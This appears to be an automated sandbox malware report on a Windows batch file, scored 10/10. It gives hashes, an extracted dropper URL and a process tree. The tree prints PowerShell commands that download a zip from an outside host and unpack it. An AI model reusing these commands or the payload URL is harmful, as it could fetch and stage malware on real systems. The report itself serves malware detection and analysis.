Analysis

  • max time kernel
    118s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20231020-en
  • resource tags

    arch:x64arch:x86image:win7-20231020-enlocale:en-usos:windows7-x64system
  • submitted
    19-11-2023 06:55

General

  • Target

    tesy - Copy (3).bat

  • Size

    706B

  • MD5

    035f17438f6146d5ac7285b4adfeb370

  • SHA1

    ef83c877367e96073e2b9b841d9c03ece6b1df7e

  • SHA256

    02261a07ff83d906a835ac5229b25595239717e0091f2462804d0a31859bbdc0

  • SHA512

    49455c7edd51537ba92e2db0941f571cd6ad89252702a19cf5910b390b182c16fc970ca62c26582b293ac5fc096e84538c5634472ab6e31bbd29242e8bb816cf

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (3).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1776
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip', 'test1.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1020
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'test1.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2784

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\0VORE3F2VR2QEME1GERZ.temp

    Filesize

    7KB

    MD5

    eefa2ca0f30ea46290260fc5f61375f2

    SHA1

    8ec94092225b8eb403a5f8f01b9764539f987068

    SHA256

    918286e48afd95632deb8570a068692ea6ab61bab95b8d2e16607d65463ed196

    SHA512

    45f239115200b148174f36ce0ebc847ff9567cffc1af10bbfb983351322f831daa679387d1720e16b8b2bff6467eb5a81044853f626309e73cb96eee699304be

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

    Filesize

    7KB

    MD5

    eefa2ca0f30ea46290260fc5f61375f2

    SHA1

    8ec94092225b8eb403a5f8f01b9764539f987068

    SHA256

    918286e48afd95632deb8570a068692ea6ab61bab95b8d2e16607d65463ed196

    SHA512

    45f239115200b148174f36ce0ebc847ff9567cffc1af10bbfb983351322f831daa679387d1720e16b8b2bff6467eb5a81044853f626309e73cb96eee699304be

  • memory/1020-8-0x000007FEF5CE0000-0x000007FEF667D000-memory.dmp

    Filesize

    9.6MB

  • memory/1020-7-0x0000000002490000-0x0000000002498000-memory.dmp

    Filesize

    32KB

  • memory/1020-5-0x000000001B210000-0x000000001B4F2000-memory.dmp

    Filesize

    2.9MB

  • memory/1020-9-0x00000000024B0000-0x0000000002530000-memory.dmp

    Filesize

    512KB

  • memory/1020-10-0x00000000024B0000-0x0000000002530000-memory.dmp

    Filesize

    512KB

  • memory/1020-12-0x000007FEF5CE0000-0x000007FEF667D000-memory.dmp

    Filesize

    9.6MB

  • memory/1020-4-0x000007FEF5CE0000-0x000007FEF667D000-memory.dmp

    Filesize

    9.6MB

  • memory/1020-6-0x00000000024B0000-0x0000000002530000-memory.dmp

    Filesize

    512KB

  • memory/2784-18-0x000000001B260000-0x000000001B542000-memory.dmp

    Filesize

    2.9MB

  • memory/2784-19-0x000007FEF5340000-0x000007FEF5CDD000-memory.dmp

    Filesize

    9.6MB

  • memory/2784-21-0x0000000002570000-0x0000000002578000-memory.dmp

    Filesize

    32KB

  • memory/2784-20-0x00000000025B0000-0x0000000002630000-memory.dmp

    Filesize

    512KB

  • memory/2784-24-0x00000000025B0000-0x0000000002630000-memory.dmp

    Filesize

    512KB

  • memory/2784-23-0x00000000025B0000-0x0000000002630000-memory.dmp

    Filesize

    512KB

  • memory/2784-22-0x000007FEF5340000-0x000007FEF5CDD000-memory.dmp

    Filesize

    9.6MB

  • memory/2784-25-0x00000000025B0000-0x0000000002630000-memory.dmp

    Filesize

    512KB

  • memory/2784-26-0x000007FEF5340000-0x000007FEF5CDD000-memory.dmp

    Filesize

    9.6MB